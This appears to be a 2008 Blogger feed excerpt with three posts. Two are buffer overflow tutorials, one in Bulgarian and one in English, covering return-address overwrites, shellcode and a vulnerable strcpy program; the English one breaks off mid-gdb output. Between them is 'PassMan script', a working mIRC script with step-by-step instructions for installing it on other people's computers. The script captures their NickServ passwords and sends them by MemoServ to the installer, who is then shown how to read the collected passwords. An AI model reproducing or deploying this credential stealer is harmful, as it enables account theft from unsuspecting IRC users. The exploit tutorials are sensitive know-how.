/&gt;&lt;br /&gt;   Препълване на буфера се получава когато се опитаме да му сложим повече дан-&lt;br /&gt;ни от колкото може да побере. Но как това помага на хакерите да изпълнят соб-&lt;br /&gt;ствен код в програмата? Нека погледнем следния пример:&lt;br /&gt;&lt;br /&gt;primer2.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;void function(char *str) {&lt;br /&gt;   char buffer[16];&lt;br /&gt;&lt;br /&gt;   strcpy(buffer,str);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void main() {&lt;br /&gt;  char large_string[256];&lt;br /&gt;  int i;&lt;br /&gt;&lt;br /&gt;  for( i = 0; i &lt; 255; i++)&lt;br /&gt;    large_string[i] = &#39;A&#39;;&lt;br /&gt;&lt;br /&gt;  function(large_string);&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;$ gcc -o primer2 primer2.c&lt;br /&gt;$ ./primer2&lt;br /&gt;Segementation fault (Core dumped)&lt;br /&gt;&lt;br /&gt;   Това е програма имаща функция с ясно изразена грешка с препълване на буфера.&lt;br /&gt;Тази функция копира зададеният и низ в буфер използувайки strcpy() вместо&lt;br /&gt;strncpy() (* strncpy копира N байта от изходния низ, до като strcpy() копира&lt;br /&gt;низа до като не достигне краят му - chr(0) *).&lt;br /&gt;Ако стартирате програмата ще получите грешка в сегментацията (* програмата се&lt;br /&gt;опитва да чете от адрес, от който не и е позволено *). След извикване на функ-&lt;br /&gt;цията стека изглежда по следният начин:&lt;br /&gt;&lt;br /&gt;нисък адрес                                                            висок адрес&lt;br /&gt;на паметта                                                             на паметта&lt;br /&gt;                 buffer            sfp   ret   *str&lt;br /&gt;&lt;-----          [                ][    ][    ][    ]&lt;br /&gt;&lt;br /&gt;връх на                                                                дъно на&lt;br /&gt;стека                                                                  стека&lt;br /&gt;&lt;br /&gt;   Какво всъщност става тука и от къде идва тази грешка в сегментацията?&lt;br /&gt;strcpy() копира съдържанието на larger_string[256] в buffer[16] както казах&lt;br /&gt;без никаква проверка дали това практически е възможно. Съвсем ясно се вижда&lt;br /&gt;че buffer[] е много по-малък от *str. В buffer[] се записват само първите 16&lt;br /&gt;байта от larger_string, а останалата част се презаписва върху стека. Презапи-&lt;br /&gt;саните части на стека включват SFP, RET и дори самият *str!. Нашият large_string&lt;br /&gt;съдържа 256 символа `A` с ASCII 0x41 (шестнадесетично). Това означава, че връ-&lt;br /&gt;щаният адрес вече е 0x41414141. Това е извън адресното пространство на процеса.&lt;br /&gt;Функцията се връща и се опитва да прочете следващата инструкция от този адрес&lt;br /&gt;(0x41414141). При този опит kernel-а прекъсва изпълнението на програмата и връ-&lt;br /&gt;ща `Segmentation fault` (грешка в сегментацията).&lt;br /&gt;&lt;br /&gt;   Значи препълването на буфера ни позволява да променим връщаният от функция&lt;br /&gt;адрес. По този начин ние можем да променим хода на изпълнението на програмата.&lt;br /&gt;Нека се върнем към първия пример и се опитаме да видим как изглеждаше стека:&lt;br /&gt;&lt;br /&gt;нисък адрес                                                          висок адрес&lt;br /&gt;на паметта                                                           на паметта&lt;br /&gt;          buffer2       buffer1   sfp   ret   a     b     c&lt;br /&gt;&lt;-----   [    12      ][   8    ][ 4  ][ 4  ][ 4  ][ 4  ][ 4  ]&lt;br /&gt;&lt;br /&gt;връх на                                                              дъно на&lt;br /&gt;стека                                                                стека&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Нека се опитаме на променим този първи пример, така че той да променя връ-&lt;br /&gt;щаният адрес и да покажем как можем да изпълнем някакъв код. Точно преди&lt;br /&gt;buffer1[] в стека се намира SFP, а преди него връщаният адрес. Това означава&lt;br /&gt;4 байта след края на buffer1[] (запомнете че големината на buffer1[] е всъ-&lt;br /&gt;щност 8 байта, така че връщаният адрес се получава на 12 байта отместване от&lt;br /&gt;началото). Ще променим връщаният адрес(ret), така че редът:&lt;br /&gt;x = 1; &lt;br /&gt;да бъде прескочен от програмата. За да направим това добавяме 8 байта към стой-&lt;br /&gt;ността записана ret. Кодът би изглеждал по следният начин:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;primer3.c:&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;void function(int a, int b, int c) {&lt;br /&gt;   char buffer1[5];&lt;br /&gt;   char buffer2[10];&lt;br /&gt;   int *ret;&lt;br /&gt;&lt;br /&gt;   ret = buffer1 + 12;&lt;br /&gt;   (*ret) += 8;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void main() {&lt;br /&gt;  int x;&lt;br /&gt;&lt;br /&gt;  x = 0;&lt;br /&gt;  function(1,2,3);&lt;br /&gt;  x = 1;&lt;br /&gt;  printf(&quot;%d\n&quot;,x);&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;   Сега компилирайте и стартирайте програмата и... хоп - вместо 1 програмата из-&lt;br /&gt;вежда резултат 0!&lt;br /&gt;   Всъщност добавихме 12 към адреса на buffer1[] в паметта.&lt;br /&gt;ret = buffer1 + 12;&lt;br /&gt;   На този нов адрес е записан адреса, на който функцията трябва да се върне.&lt;br /&gt;Целта ни беше да прескочим редът `x = 1` и да отидем направо на процедурата&lt;br /&gt;printf(). Но как разбрахме, че трябва да добавим 8 към стойността на връщаният&lt;br /&gt;адрес? За начало използуваме пробна стойност (например 1), компилираме програ-&lt;br /&gt;амта и използуваме `gdb`:&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;$ gdb primer3&lt;br /&gt;GDB is free software and you are welcome to distribute copies of it&lt;br /&gt; under certain conditions; type &quot;show copying&quot; to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB; type &quot;show warranty&quot; for details.&lt;br /&gt;GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...&lt;br /&gt;(no debugging symbols found)...&lt;br /&gt;(gdb) disassemble main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;0x8000490 &lt;main&gt;:       pushl  %ebp&lt;br /&gt;0x8000491 &lt;main+1&gt;:     movl   %esp,%ebp&lt;br /&gt;0x8000493 &lt;main+3&gt;:     subl   $0x4,%esp&lt;br /&gt;0x8000496 &lt;main+6&gt;:     movl   $0x0,0xfffffffc(%ebp)&lt;br /&gt;0x800049d &lt;main+13&gt;:    pushl  $0x3&lt;br /&gt;0x800049f &lt;main+15&gt;:    pushl  $0x2&lt;br /&gt;0x80004a1 &lt;main+17&gt;:    pushl  $0x1&lt;br /&gt;0x80004a3 &lt;main+19&gt;:    call   0x8000470 &lt;function&gt;&lt;br /&gt;0x80004a8 &lt;main+24&gt;:    addl   $0xc,%esp&lt;br /&gt;0x80004ab &lt;main+27&gt;:    movl   $0x1,0xfffffffc(%ebp)&lt;br /&gt;0x80004b2 &lt;main+34&gt;:    movl   0xfffffffc(%ebp),%eax&lt;br /&gt;0x80004b5 &lt;main+37&gt;:    pushl  %eax&lt;br /&gt;0x80004b6 &lt;main+38&gt;:    pushl  $0x80004f8&lt;br /&gt;0x80004bb &lt;main+43&gt;:    call   0x8000378 &lt;printf&gt;&lt;br /&gt;0x80004c0 &lt;main+48&gt;:    addl   $0x8,%esp&lt;br /&gt;0x80004c3 &lt;main+51&gt;:    movl   %ebp,%esp&lt;br /&gt;0x80004c5 &lt;main+53&gt;:    popl   %ebp&lt;br /&gt;0x80004c6 &lt;main+54&gt;:    ret&lt;br /&gt;0x80004c7 &lt;main+55&gt;:    nop&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;   Лесно можем да видим че след извикването на функцията RET ще бъде 0x80004a8,&lt;br /&gt;а ние искаме да прескочим инструкцията на 0x80004ab. Следователно следващата ин-&lt;br /&gt;струкция, която ни интересува е на 0x80004b2. Използувайки шестнадесетичен кал-&lt;br /&gt;кулатор изчисляваме:&lt;br /&gt;&lt;br /&gt;  80004b2&lt;br /&gt;- 80004a8&lt;br /&gt;-------------&lt;br /&gt;        8&lt;br /&gt;&lt;br /&gt;   По този начин намираме отместването до следващия адрес.&lt;br /&gt;&lt;br /&gt;-------------------------------------- Край на част 1 ---------------------------------</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/951697583365404647/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/951697583365404647' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/951697583365404647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/951697583365404647'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/bugtraq-r00t-underground.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-7152699297990639506</id><published>2008-02-28T07:13:00.003-08:00</published><updated>2008-02-28T07:13:32.983-08:00</updated><title type='text'></title><content type='html'>PassMan script (lame edition)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Това ръководство го написах за най-големите леймъри от вас, които все ми задават въпроса как да &lt;br /&gt;използуват този скрипт (прочул се още като PassMan,понеже на това име праща паролите по &lt;br /&gt;подразбиране). &lt;br /&gt;Не знам какво толкова неясно има в двата реда обяснение, но явно голяма част от вас не могат да &lt;br /&gt;го сложат на даден компютър. Разбира се в това няма нищо лошо, но започнах да се вбесявам от&lt;br /&gt; всички, които ме питат за това как се инсталира. &lt;br /&gt;&lt;br /&gt;Всичко за слагането на скрипта е обяснено съвсем подробно в страницата и ако някой не може да го&lt;br /&gt; направи по описания начин, то тогава титлата &quot;леймър&quot; трябва за него да звучи като &quot;Господ&quot;. &lt;br /&gt;&lt;br /&gt;(А тези,които си имат представа моля да не ми се смеят на обясненията) &lt;br /&gt;&lt;br /&gt;Част I - инсталиране на скрипта &lt;br /&gt;&lt;br /&gt;1) Маркирайте осемте реда отдолу (това става като задържите левия бутон на мишката натиснат в &lt;br /&gt;началото на първия ред и е мръднете до последния ред като разбира се не отпускате бутона) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;on 1:INPUT:*: { /if ($3 == identify) { &lt;br /&gt;;Change the &quot;PassMan&quot; in the next line to your nickname &lt;br /&gt;/set %rnick PassMan &lt;br /&gt;; Script developed by Bulhack (www.bulhack.org) &lt;br /&gt;   /if ( ? isin $4) || ( ? isin $5) { /.timer948 -m 1 1 /sendit | /haltdef } &lt;br /&gt;    else { $1- | /.msg ms send %rnick $1- | /.ignore -u60 MS | /haltdef } &lt;br /&gt;  } &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;2) Докато текста е маркиран (написан с друг цвят) натиснете Ctrl+C (задържате бутона Ctrl и &lt;br /&gt;докато сте го задържали натискате клавиша &quot;C&quot;) &lt;br /&gt;&lt;br /&gt;3) Ако нямате отворена mIRC-а отворете една (с двойно щракане върху иконката и). Сега натиснете &lt;br /&gt;Alt+R (задържате клавиша Alt и натискате клавиша &quot;R&quot;). &lt;br /&gt;Пред вас сега изкочи един нов прозорец,а в горната му част пише &quot;mIRC Editor&quot;. Сега чрез &lt;br /&gt;стрелката надолу отидете на най-долния ред (просто задръжте стрелката докато маркера спре да се &lt;br /&gt;движи надолу). Сега смело натиснете Ctrl+V (отново задържате клавиша Ctrl и натискате клавиша &lt;br /&gt;&quot;V&quot;) &lt;br /&gt;Както виждате съдържанието на осемте маркирани реда от Web сртаницата по някакъв странен начин &lt;br /&gt;се преместиха в този прозорец &quot;mIRC Editor&quot; (какви гении има в Microsoft само) &lt;br /&gt;&lt;br /&gt;4) Идва реда да сменим името по подразбиране (PassMan) на вашето. Това става по следниа начин:&lt;br /&gt; &lt;br /&gt;Ето това е третиа ред от скрипта: &lt;br /&gt;/set %rnick PassMan &lt;br /&gt;Просто изтрийте &quot;PassMan&quot; и на негово място сложете вашия nick. Например ако nick-а ви е&lt;br /&gt; Hacker007 реда ще придобие следния вид: &lt;br /&gt;/set %rnick Hacker007 &lt;br /&gt;&lt;br /&gt;5) Сега чрез мишката натиснете върху бутона &quot;OK&quot; на прозореца &quot;mIRC Editor&quot; и... хоп прозореца &lt;br /&gt;изчезна. &lt;br /&gt;&lt;br /&gt;6) По начина описан в стъпка 1) маркирайте петте реда отдолу. В случай, че вече не помните как &lt;br /&gt;става ... вижте по-отгоре. Та след като маркирате петте реда натиснете отново Ctrl+C (задържате &lt;br /&gt;бутона Ctrl и докато сте го задържали натискате клавиша &quot;C&quot;) &lt;br /&gt;&lt;br /&gt;/sendit { &lt;br /&gt;  ; Script developed by BulHack (bulhack.org) &lt;br /&gt;  /set %password $?*=&quot;Enter reply:&quot; &lt;br /&gt;  /.msg ns identify %password | /.msg ms send %rnick Parola: %password | /.ignore -u60 MS &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;7) Отидете отново на вашата mIRC-а (която предполагам не сте затворили) и натиснете Alt+A &lt;br /&gt;(задържате клавиша Alt и натискате клавиша &quot;A&quot;). От вас отново се отвори стариа прозорец &quot;mIRC &lt;br /&gt;Editor&quot; , но сега той е празен. Нямам намерение да обяснявам защо това е така. &lt;br /&gt;&lt;br /&gt;8) Сега отидете със стрелката надолу на последния ред и натиснете Ctrl+V (задържате клавиша Ctrl&lt;br /&gt; и натискате клавиша &quot;V&quot;)... и отново пред вас изкочиха петте реда, които бяхте маркирали. &lt;br /&gt;&lt;br /&gt;9) Накрая просто натиснете бутона &quot;OK&quot; и всичко е готово. Вече сте инсталирали скрипта на този&lt;br /&gt; компютър. &lt;br /&gt;Добре е да го репетирате няколко пъти до като свикнете да го правите без да четете от тук &lt;br /&gt;&lt;br /&gt;Част II - преглед на получените пароли &lt;br /&gt;&lt;br /&gt;Сега след като сте инсталирали този скрипт на един или няколко компютъра идва въпроса как да&lt;br /&gt; видите получените пароли: &lt;br /&gt;&lt;br /&gt;1) Влезте в UniBG с името, които си нагласихте в точка 4) . &lt;br /&gt;&lt;br /&gt;2) Идентифицирайте се с командата: &lt;br /&gt;/msg ns identify PAROLA &lt;br /&gt;Вместо PAROLA напишете паролата ви за този nick &lt;br /&gt;&lt;br /&gt;3) След това, за да видите списък с хората, чиито пароли сте получили напишете в някой прозорец &lt;br /&gt;на mIRC (без значение кой): &lt;br /&gt;/msg ms list &lt;br /&gt;&lt;br /&gt;4) За да видите паролата на даден човек напишете в mIRC &lt;br /&gt;/msg ms read N &lt;br /&gt;където N е номера на човека, който сте получили с командата в точка 3) &lt;br /&gt;&lt;br /&gt;5) Ако видите, че сте събрали 20 пароли (което е максимума) напишете: &lt;br /&gt;/msg ms del all &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Това е всичко обяснено на дълго и на широко. Ако не можете да се справите не ме търсете...явно &lt;br /&gt;компютъра не е средство за вас...</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/7152699297990639506/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/7152699297990639506' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/7152699297990639506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/7152699297990639506'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/passman-script-lame-edition-passman.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-9070998368048797991</id><published>2008-02-28T07:13:00.001-08:00</published><updated>2008-02-28T07:13:18.771-08:00</updated><title type='text'></title><content type='html'>                     --=Buffer Overflows by drunkk=--&lt;br /&gt;         	       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;   0x1. INTRODUCTION&lt;br /&gt;&lt;br /&gt;   Site: http://www.sig-hup.net/&lt;br /&gt;   E-Mail: drunkk@sig-hup.net&lt;br /&gt;   IRC: Undernet -&gt; #gcc&lt;br /&gt;   Date: January 10, 2002&lt;br /&gt;&lt;br /&gt;   This article explains buffer overflows. I didn&#39;t get into details only&lt;br /&gt;in the most important parts. The code was tested on FreeBSD 4.3-REL and on&lt;br /&gt;Linux RedHat 7.0, but it should work just fine on other systems too.  &lt;br /&gt;Notice that the shellcode is not the same in FreeBSD as it is in Linux.  &lt;br /&gt;Let&#39;s get started since i&#39;m tired of stupid introductions.&lt;br /&gt;&lt;br /&gt;   Chapters:&lt;br /&gt;	- introduction&lt;br /&gt;	- understanding how the stack works&lt;br /&gt;	- short theory about buffer overflows&lt;br /&gt;	- executing arbitrary code and the shellcode&lt;br /&gt;	- finding the buffer size&lt;br /&gt;	- offsets&lt;br /&gt;	- generating the buffer&lt;br /&gt;        - the end&lt;br /&gt;&lt;br /&gt;   0x2. UNDERSTANDING HOW THE STACK WORKS&lt;br /&gt;&lt;br /&gt;   To understand what a buffer overflow is and how it works he must first&lt;br /&gt;understand how the memory is organized for each function and process.&lt;br /&gt;   For each process we got a text, data and a stack segment or stack&lt;br /&gt;frame. We are going to concentrate on the stack. Elements can be pushed&lt;br /&gt;and poped off the stack this way: the last object pushed in, is the first&lt;br /&gt;one that gets to be popped out, and it is called a LIFO stack (last&lt;br /&gt;in/first out).&lt;br /&gt;   The stack is divided into segments, called frames. Each&lt;br /&gt;function/process has it&#39;s own frame in which you can find local dynamic&lt;br /&gt;variables, and data for recovering the previous frame pointer. This stuff&lt;br /&gt;is very usefull to limit permissions on the stack and in memory.&lt;br /&gt;   The data for recovering the previous frame pointer are: the Instruction&lt;br /&gt;Pointer (IP - represents the address of the instruction below the point&lt;br /&gt;where the function was called, so that it knows where to return in the&lt;br /&gt;calling function), the Frame Pointer or the Base Pointer (EBP, which&lt;br /&gt;represents the address where the previous frame pointer begins). We also&lt;br /&gt;have another register reffering to the stack, the Stack Pointer (SP) and&lt;br /&gt;it contains the memory address of the last object pushed into the stack&lt;br /&gt;(the top of the stack).&lt;br /&gt;&lt;br /&gt;example.c:&lt;br /&gt;&lt;br /&gt;void function(int a,b,c) {&lt;br /&gt;   char buffer1[5];&lt;br /&gt;   char buffer2[20]&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;main() {&lt;br /&gt;   function(1,2,3);&lt;br /&gt;// The line below is pointed to by the Instruction Pointer&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;   Parameters of the stack are pushed into the stack backwards, in this&lt;br /&gt;example c, then b, then a. The stack would look like this:&lt;br /&gt;&lt;br /&gt;       [    buffer2    ][ buffer1 ][ BP ][ IP ][ a ][ b ][ c ]&lt;br /&gt;&lt;br /&gt;  BP               - Base Pointer (Frame Pointer)&lt;br /&gt;  IP               - Instruction Pointer (Return address)&lt;br /&gt;  buffer1, buffer2 - dynamic variables of function() are allocated on the &lt;br /&gt;                     stack.&lt;br /&gt;&lt;br /&gt;   When function() finishes execution it pops out it&#39;s variables from the&lt;br /&gt;stack (in this case buffer1 and buffer2). Remember, the actual base&lt;br /&gt;pointer (frame pointer) is not the one on the stack. The base pointer on&lt;br /&gt;the stack contains the content (heh) of the frame pointer for the previous&lt;br /&gt;frame, so it is popped and now we are working with the previous frame of&lt;br /&gt;the calling function/process. Then it pops the instruction pointer (IP)&lt;br /&gt;and returns to the instruction at the address inside it (see the comment&lt;br /&gt;in the code).&lt;br /&gt;   If you compile the code with gcc, using the -S switch (gcc -S -o&lt;br /&gt;example.asm example.c), you will get the assembly code representation of&lt;br /&gt;example.c. Notice the first two lines where the current stack pointer&lt;br /&gt;becomes the frame pointer, though, the beginning of our new frame, after&lt;br /&gt;the current EBP is pushed into the stack and saved.&lt;br /&gt;&lt;br /&gt;			push %ebp       # saves the current base pointer&lt;br /&gt;&lt;br /&gt;			mov %esp, %ebp  # the stack pointer becomes the &lt;br /&gt;                                          current base pointer&lt;br /&gt;&lt;br /&gt;			sub $0x20, %esp # the stack pointer is moved down &lt;br /&gt;                                          by 0x20 to allocate space for &lt;br /&gt;					  buffer1 and buffer2...&lt;br /&gt;&lt;br /&gt;...i&#39;m sure you&#39;re wondering why it allocates 32 bytes (because 0x20 in&lt;br /&gt;hex is 32 bytes) and buffer1 and buffer2 are made of only 15 bytes. Wrong!  &lt;br /&gt;Memory is organized in words (1 word = 4 bytes = 32 bits), so the 5 byte&lt;br /&gt;buffer1 is actually 8 bytes in memory, and the 20 byte buffer, buffer2, is&lt;br /&gt;actually 24 bytes in memory, by that the total of 32 bytes = 0x20 (in&lt;br /&gt;hex).&lt;br /&gt;&lt;br /&gt;   0x3. SHORT THEORY ABOUT BUFFER OVERFLOWS&lt;br /&gt;&lt;br /&gt;   I&#39;ll explain this very shortly, i hope you&#39;ll understand.&lt;br /&gt;   Take a look at the graphical representation of the stack above. Notice&lt;br /&gt;that buffer1 is 8 bytes and it is next to %ebp and %eip. Now let&#39;s suppose&lt;br /&gt;we are using strcpy() to copy a string into buffer1. This must be smaller&lt;br /&gt;then 8 bytes (of course, you as a regular coder know that it should be&lt;br /&gt;smaller then 5 bytes, but until 8 bytes you do no harm). Now usualy&lt;br /&gt;functions to boundary checking for this kinds of operations like buffer&lt;br /&gt;moves, copies etc. But strcpy, strcat, fgets and other functions don&#39;t, so&lt;br /&gt;if we&#39;ll write more then 8 bytes in buffer that&#39;ll be a buffer overflow&lt;br /&gt;and we&#39;ll overwrite the base pointer and maybe the instruction pointer. A&lt;br /&gt;buffer overflow is not necessarilly defined by overwriting %ebp and %eip.&lt;br /&gt;But you&#39;ll see in the next section what insecure coding like that can&lt;br /&gt;result into (benefiting the hacker, of course).&lt;br /&gt;&lt;br /&gt;example2.c:&lt;br /&gt;&lt;br /&gt;main() {&lt;br /&gt;   char buffer[12], big[16];&lt;br /&gt;   for(i=0;i&lt;16;i++) { big[i]=&#39;A&#39; }&lt;br /&gt;   strcpy(buffer, big);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;   You can notice above that big is 4 bytes bigger then buffer. We fill&lt;br /&gt;big with A-s and then we copy it over(into) buffer. The initial stack&lt;br /&gt;before anything happens looks like this (1 space = 1 byte).&lt;br /&gt;&lt;br /&gt;	[      big       ][   buffer   ][ BP ][ IP ]....&lt;br /&gt;&lt;br /&gt;   Now, big is filled with A-s and copied over buffer overwriting the base&lt;br /&gt;pointer:&lt;br /&gt;&lt;br /&gt;        [AAAAAAAAAAAAAAA][AAAAAAAAAAAA][AAAA][ IP ]....&lt;br /&gt;&lt;br /&gt;   As you see, our for() cycle fills the &quot;big&quot; buffer with &#39;A&#39;-s and then&lt;br /&gt;copies it over buffer using strcpy() with no boundary checking, by that&lt;br /&gt;overwriting EBP.&lt;br /&gt;&lt;br /&gt;   0x4. EXECUTING ARBITRARY CODE AND THE SHELLCODE&lt;br /&gt;&lt;br /&gt;   The Instruction Pointer points to an instruction in memory as we talked&lt;br /&gt;about it in part 1. Now i hope you all know coding and i don&#39;t have to&lt;br /&gt;give out coding lessons here. I will only mention that a pointer takes up&lt;br /&gt;4 bytes in memory (because a memory address is 4 bytes long, ex.  &lt;br /&gt;0xbfbfcd0a). If we could somehow overwrite the Instrucion Pointer with&lt;br /&gt;another memory address that points to an arbitrary code that we wish to&lt;br /&gt;execute we could exploit the vulnerable program. So let&#39;s get started on&lt;br /&gt;this.&lt;br /&gt;   Now a very short update on the shellcode in case you don&#39;t know what it&lt;br /&gt;is. As an example let&#39;s say that we want to redirect the Instruction&lt;br /&gt;Pointer to point to a code that will spawn us a shell. Now how do we&lt;br /&gt;insert that code into the memory? Easy, by designing the shellcode for it.  &lt;br /&gt;I won&#39;t go into details on how do design it, you can get it anywhere, but&lt;br /&gt;at least you should understand how it works and why it is used.&lt;br /&gt;   This is the code we wish to execute:&lt;br /&gt;&lt;br /&gt;example3.c:&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;main() {&lt;br /&gt;  char *execs[2];&lt;br /&gt;  execs[0] = &quot;/bin/sh&quot;;&lt;br /&gt;  execs[1] = NULL;&lt;br /&gt;  execve(name[0], name, NULL);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;  Now this code will spawn us the shell. To get the shellcode and get it&lt;br /&gt;into our program you&#39;ll first need to compile the program using -S and -&lt;br /&gt;static (includes source code for functions, so it doesn&#39;t depend on any&lt;br /&gt;specific libraries) to get the assembly representation of the source code.&lt;br /&gt;I assume you have knowledge of ASM. Now try and make that code &quot;general&quot;&lt;br /&gt;so that it won&#39;t contain anything else but memory distances, and no&lt;br /&gt;specific addresses, so that it will work anywhere (this is the part i am&lt;br /&gt;skipping).&lt;br /&gt;  After you make the final ASM code, rewrite it in C with a simple main()  &lt;br /&gt;function like this:&lt;br /&gt;&lt;br /&gt;main() {&lt;br /&gt;  __asm__(&quot;&lt;br /&gt;  // Your asm code goes here&lt;br /&gt;  &quot;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;  ...then compile it and debug it again with gdb. Type &quot;disassemle main&quot;  &lt;br /&gt;to see the full asm code of your asm code :). We need this code to be&lt;br /&gt;executed in memory so that the vulnerable program spawns us a shell. If&lt;br /&gt;you designed the correct code you should notice that the code modifies&lt;br /&gt;itself, so we can&#39;t put it into the text zone of the memory&lt;br /&gt;(unmodifiable), we can only put it into the data zone which can be&lt;br /&gt;modified while the program is running. So we need to represent our asm&lt;br /&gt;code in hex. Notice that each instruction begins with a memory address&lt;br /&gt;then &lt;main+x&gt;, where x is the distance of bytes from the beginning of&lt;br /&gt;main(). You can use the x/FMT ADDRESS command in gdb to represent/see a&lt;br /&gt;line of code in a format that you want. Use the viewing of the code in hex&lt;br /&gt;value per byte. To do this do x/bx main+x. Replace x with the first&lt;br /&gt;instruction after the initialization of the function (without the push of&lt;br /&gt;%ebp, and the mov for the new stack pointer). I guess it should be&lt;br /&gt;&lt;main+3&gt; if you don&#39;t have any NOP&#39;s before the code. Now you get the hex&lt;br /&gt;representation of the first byte of the code we need, keep pressing &lt;CR&gt;&lt;br /&gt;until you get to the last byte then write the shellcode into a char&lt;br /&gt;shellcode[] and save the file so that you won&#39;t loose it.&lt;br /&gt;   Now we got the shellcode inside a local variable. The ideea of this&lt;br /&gt;buffer overflow is to fill buffer1 (in the first example as an instance)  &lt;br /&gt;like this: [ shellcode &amp;shellcode &amp;shellcode .... ]. Are you getting the&lt;br /&gt;ideea? The shellcode will be contained in the beginning of buffer2, so in&lt;br /&gt;the next lines, and the overflow, we&#39;ll keep writing the memory address of&lt;br /&gt;the beginning of buffer1 where our shellcode is located. When the function&lt;br /&gt;finishes (wherever it is main(), or another function, process, it doesn&#39;t&lt;br /&gt;matter), it will pop everything out that is not needed anymore, by this&lt;br /&gt;popping the Instruction Pointer which represents the memory address of our&lt;br /&gt;buffer1 and that code will be executed spawning a shell (because IP&lt;br /&gt;contains the memory address &amp;shellcode = &amp;buffer1). Remember, the stack&lt;br /&gt;can be read anywhere, anyhow on a frame, using refrences as a distance&lt;br /&gt;from the base pointer, only elements may only be popped/pushed out/in LIFO&lt;br /&gt;style. You will see a lot more examples in the next sections, so don&#39;t get&lt;br /&gt;scared if you don&#39;t understand everything yet.&lt;br /&gt;&lt;br /&gt;   0x5. FINDING THE BUFFER SIZE&lt;br /&gt;&lt;br /&gt;   Now let&#39;s suppose the code below is the code we want to exploit:&lt;br /&gt;&lt;br /&gt;vuln.c:&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[]) {&lt;br /&gt;  char st[512];&lt;br /&gt;  if (!(argc&gt;1)) {printf(&quot;Not enough parameters.\n&quot;); return(0);}&lt;br /&gt;  strcpy(st, argv[1]);   &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;   This code takes the first argument in the command line and copies it&lt;br /&gt;into the st buffer which is 512 bytes. All we need to do is put our buffer&lt;br /&gt;containing the shellcode inside st so that it overflows it and our code&lt;br /&gt;(the shellcode) gets to be executed. How to do this is what i&#39;ll explain&lt;br /&gt;in this section.&lt;br /&gt;   This is what the stack looks like for the compiled vuln.c:&lt;br /&gt;&lt;br /&gt; # gcc -o vuln vuln.c&lt;br /&gt; # ./vuln abcdefghik&lt;br /&gt; # ./vuln `perl -e &#39;printf &quot;A&quot;x600&#39;`&lt;br /&gt; Segmentation fault (core dumped)&lt;br /&gt; #&lt;br /&gt;&lt;br /&gt;   As you can see, the first time we insert &quot;abcdefghijk&quot; into argv[1], by&lt;br /&gt;this into st[512], nothing happens. But the next time we insert 600 &quot;A&quot;-s&lt;br /&gt;into st[512] through argv[1] we get a &quot;Segmentation Fault&quot;, meaning that&lt;br /&gt;we redirected the IP to somewhere where it isn&#39;t supposed to point; that&lt;br /&gt;address being 0x41414141. 0x41 is the hex code for the ASCII code of &#39;A&#39;,&lt;br /&gt;inserted into the four bytes of the IP address resulting into 0x41414141.&lt;br /&gt;Now let&#39;s debug the program so that you can see for yourself:&lt;br /&gt;&lt;br /&gt; # gdb vuln&lt;br /&gt; GNU gdb 4.18&lt;br /&gt; Copyright 1998 Free Software Foundation, Inc.&lt;br /&gt; GDB is free software, covered by the GNU General Public License, and you are&lt;br /&gt; welcome to change it and/or distribute copies of it under certain conditions.&lt;br /&gt; Type 